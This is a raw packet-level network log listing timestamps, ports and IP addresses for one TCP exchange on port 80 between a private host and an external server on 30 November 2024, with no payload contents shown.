Nov 30, 2024 22:53:01.131417990 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.131454945 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.132385969 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.132399082 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.132430077 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.132448912 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.133300066 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.133312941 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.133344889 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.133362055 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.134222031 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.134234905 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.134246111 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.134263992 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.134287119 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.135207891 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.135221004 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.135248899 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.135272980 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.136095047 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.136117935 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.136156082 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.136171103 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.137077093 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.137090921 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.137130022 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.138051987 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.138066053 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.138103008 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.138129950 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.138979912 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.138993025 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.139003992 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.139029980 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.139041901 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.139993906 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.140034914 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.140088081 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.140130997 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.140875101 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.140893936 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.140928030 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.140928030 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.141833067 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.141846895 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.141877890 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.141891003 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.142724991 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.142757893 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.142767906 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.142792940 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.143702984 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.143717051 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.143728971 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.143744946 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.143796921 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.144681931 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.144695044 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.144722939 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.144748926 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.145596981 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.145612955 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.145644903 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.145659924 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.146543980 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.146558046 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.146603107 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.147480011 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.147511959 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.147532940 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.147559881 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.148500919 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.148519039 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.148529053 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.148550987 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.148569107 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.149385929 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.149399042 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.149440050 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.149451017 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.150377989 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.150391102 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.150425911 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.150443077 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.151316881 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.151329994 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.151365995 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.151379108 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.152236938 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.152251005 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.152280092 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.152297020 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.153203011 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.153217077 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.153245926 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.153265953 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.154181004 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.154196024 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.154206038 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.154227018 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.154251099 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.155169010 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.155215979 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.155333042 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.155374050 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.156202078 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.156232119 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.156245947 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.156267881 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.156964064 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.156976938 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.157005072 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.157017946 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.157949924 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.157999992 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.158891916 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.158935070 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.159812927 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.159858942 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.160325050 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.160339117 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.160351038 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.160367966 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.160396099 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.284770012 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.284784079 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.285053015 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.285609961 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.285623074 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.285670996 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.287358046 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.287369967 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.287465096 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.289213896 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.289227009 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.289272070 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.291095018 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.291120052 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.291163921 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.291193962 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.292068958 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.292118073 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.293055058 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.293106079 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.294007063 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.294053078 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.295058012 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.295108080 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.295881033 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.295893908 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.295931101 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.297769070 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.297780991 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.297816992 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.298708916 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.298712015 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.298755884 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.299705029 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.299751043 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.300592899 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.300649881 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.301608086 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.301649094 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.302495956 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.302544117 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.303453922 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.303494930 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.304399967 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.304445982 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.305315971 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.305330038 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.305366039 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.306288958 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.306302071 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.306341887 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.307199955 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.307231903 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.307248116 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.307281017 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.308176041 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.308188915 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.308198929 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.308223009 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.308245897 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.309175968 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.309189081 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.309226990 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.310035944 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.310084105 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.310173988 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.310226917 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.311177969 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.311191082 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.311233044 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.311973095 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.311986923 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.311997890 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.312030077 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.312047958 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.312999964 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.313014030 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.313051939 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.313873053 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.313886881 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.313924074 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.314800978 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.314811945 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.314846992 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.315813065 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.315826893 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.315859079 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.315881014 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.316699982 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.316715002 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.316726923 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.316746950 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.316768885 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.317677021 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.317699909 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.317722082 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.317748070 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.318624973 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.318638086 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.318672895 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.319566965 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.319580078 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.319645882 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.320460081 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.320481062 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.320491076 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.320523977 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.320543051 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.321445942 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.321460962 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.321496010 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.321522951 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.322417021 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.322428942 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.322464943 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.322480917 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.323332071 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.323354959 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.323383093 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.323394060 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.324239969 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.324287891 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.324290037 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.324332952 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.326203108 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.326216936 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.326229095 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.326255083 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.326287031 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.327168941 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.327183008 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.327219009 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.328083992 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.328097105 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.328131914 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.328152895 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.329061031 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.329073906 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.329112053 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.329977989 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.330018044 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.330027103 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.330056906 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.330919027 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.330933094 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.330943108 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.330965996 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.330987930 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.331933022 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.331947088 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.331976891 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.331985950 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.332806110 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.332811117 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.332849979 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.333764076 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.333777905 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.333817005 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.334739923 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.334753036 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.334790945 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.335669994 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.335684061 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.335695028 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.335721970 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.335757017 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.336675882 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.336688042 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.336725950 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.337551117 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.337569952 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.337599993 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.337620974 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.338475943 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.338498116 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.338525057 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.338537931 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.339468956 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.339488029 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.339499950 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.339518070 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.339526892 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.340404034 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.340455055 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.476120949 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.476224899 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.476352930 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.476397038 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.477722883 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.477766991 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.478100061 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.478142977 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.478585005 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.478599072 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.478629112 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.478645086 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.479368925 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.479383945 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.479417086 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.479430914 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.480182886 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.480226994 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.480587006 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.480631113 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.481061935 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.481075048 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.481102943 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.481116056 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.481915951 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.481928110 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.481962919 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.482784986 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.482799053 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:01.482837915 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.482867956 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:01.483612061 CET	80	49739	185.215.113.206	192.168.2.9
